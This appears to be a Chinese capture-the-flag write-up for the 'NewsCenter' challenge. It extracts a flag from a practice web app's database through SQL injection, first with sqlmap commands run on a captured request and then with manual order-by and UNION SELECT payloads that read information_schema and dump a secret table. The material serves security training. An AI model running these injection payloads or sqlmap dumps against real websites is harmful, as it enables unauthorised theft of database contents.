2025.1.16——一、NewsCenter

题目来源:攻防世界 NewsCenter

目录

一、题目

二、sqlmap解题------bp抓包存为txt文件进行爆破

[step 1:search框内随便输入,进行抓包](#step 1:search框内随便输入,进行抓包)

[step 2:抓包后,存到txt文件,进行sqlmap](#step 2:抓包后,存到txt文件,进行sqlmap)

[step 3:-r获取文件,--dump获取flag](#step 3:-r获取文件,--dump获取flag)

三、手工注入解题

[step 1:判断 GET 还是 POST 传参](#step 1:判断 GET 还是 POST 传参)

[step 2:判断注入点类型](#step 2:判断注入点类型)

[step 3:判断字段数 ' 和 # 不可缺少](# 不可缺少)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)


本题由于靶机出问题,所以看了很多博主的wp

一、题目

可以看到有注入点,首选sqlmap,其次为手工注入

二、sqlmap解题------bp抓包存为txt文件进行爆破

step 1:search框内随便输入,进行抓包

step 2:抓包后,存到txt文件,进行sqlmap

step 3:-r获取文件,--dump获取flag

方法一:

连接口令:python sqlmap.py -r 文件路径

爆破口令:python sqlmap.py -r 文件路径 --dump

方法二:

①python sqlmap.py -r 文件名 -dbs

②python sqlmap.py -r 文件名 -D 数据库名 --tables

③python sqlmap.py -r 文件名 -D 数据库名 -T 表名 --columns

④python sqlmap.py -r 文件名 -D 数据库名 -T 表名 -C 列名 --dump

可得到flag信息

三、手工注入解题

重点:①需要判断 GET 还是 POST 传参;②判断注入点类型;③尝试万能密码;④尝试联合注入

step 1:判断 GET 还是 POST 传参

搜索新闻初步判定为POST请求,可考虑xss或sql注入

尝试xss注入,而页面没有返回值,且根据源码得js代码没有被过滤,所以无xss漏洞。所以此处为sql注入

step 2:判断注入点类型

键入:1、1''、1' and '1'=1'

均回显正常

键入:1'

出现错误

所以这里是字符注入

step 3:判断字段数 ' 和 # 不可缺少

键入:1' order by 3 #

回显正常

键入:1' order by 4 #

回显错误

故字段数为3

step 4:爆表名

sql 复制代码
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

发现有两张表:news、secret_table

step 5:爆列名

第一张表:

sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='secret_table'#

有两列:id、fl4g

第二张表:

sql 复制代码
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='news'#

有三列:id、title、content

step 6:爆具体数据

flag应该在secret_table表的fl4g列中

sql 复制代码
1' union select 1,2,fl4g from secret_table #

可得到flag信息

相关推荐
DolphinDB10 分钟前
更高效的因子研究工具:基于 DolphinDB 的因子评价框架详解
数据库
此乃大忽悠17 分钟前
身份认证缺陷
java·数据库·webgoat·身份认证缺陷
IT项目管理37 分钟前
达梦数据库DMDRS搭建单向dm8-dm8数据同步
数据库
啊我不会诶1 小时前
倍增法和ST算法 个人学习笔记&代码
笔记·学习·算法
咖丨喱1 小时前
【Action帧简要分析】
服务器·数据库·asp.net
没饭吃!1 小时前
NHibernate案例
数据库·hibernate
LuDvei2 小时前
CH9121T电路及配置详解
服务器·嵌入式硬件·物联网·网络协议·tcp/ip·网络安全·信号处理
aha-凯心2 小时前
前端学习 vben 之 axios interceptors
前端·学习
泷羽Sec-静安2 小时前
OSCP官方靶场-Solstice WP
服务器·网络·数据库
IvanCodes2 小时前
Oracle 视图
大数据·数据库·sql·oracle